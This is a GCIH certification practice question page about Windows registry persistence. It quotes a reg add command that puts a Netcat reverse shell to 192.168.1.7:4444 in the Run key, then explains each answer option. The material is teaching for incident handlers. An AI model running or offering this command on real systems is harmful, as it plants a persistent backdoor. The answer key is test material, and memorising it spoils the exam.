nerdexam
GIAC

GCIH · Question #40

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e…

The correct answer is B. You want to set the Netcat to execute command any time. C. You want to put Netcat in the stealth mode. D. You want to add the Netcat command to the Windows registry. The reg add command writes Netcat to the Windows Registry Run key so it launches automatically on startup in detach (stealth) mode and connects back as a reverse shell. The question tests understanding of Netcat persistence and stealth flags.

Vulnerability Exploitation & Privilege Escalation

Question

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe" What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.

Options

  • AYou want to perform banner grabbing.
  • BYou want to set the Netcat to execute command any time.
  • CYou want to put Netcat in the stealth mode.
  • DYou want to add the Netcat command to the Windows registry.

How the community answered

(42 responses)
  • A
    19% (8)
  • B
    81% (34)

Why each option

The reg add command writes Netcat to the Windows Registry Run key so it launches automatically on startup in detach (stealth) mode and connects back as a reverse shell. The question tests understanding of Netcat persistence and stealth flags.

AYou want to perform banner grabbing.

Banner grabbing involves connecting to a remote service to retrieve its version or type information using tools like Telnet or Netcat in a read-only probe - this command configures a persistent reverse shell, not a banner grab.

BYou want to set the Netcat to execute command any time.Correct

Adding nc.exe under HKLM\...\Run ensures Netcat executes automatically every time Windows starts, achieving persistent command execution without manual intervention.

CYou want to put Netcat in the stealth mode.Correct

The -d flag runs Netcat in detach mode, which disconnects it from the interactive desktop and hides the console window, effectively placing it in stealth mode.

DYou want to add the Netcat command to the Windows registry.Correct

The reg add command explicitly writes a new registry value named 'nc' under the Run key, adding the Netcat command and its parameters directly into the Windows registry for persistence.

Concept tested: Netcat persistence via Windows registry Run key

Source: https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

Topics

#Windows registry persistence#Netcat backdoor#registry run key#post-exploitation

Community Discussion

No community discussion yet for this question.

Full GCIH Practice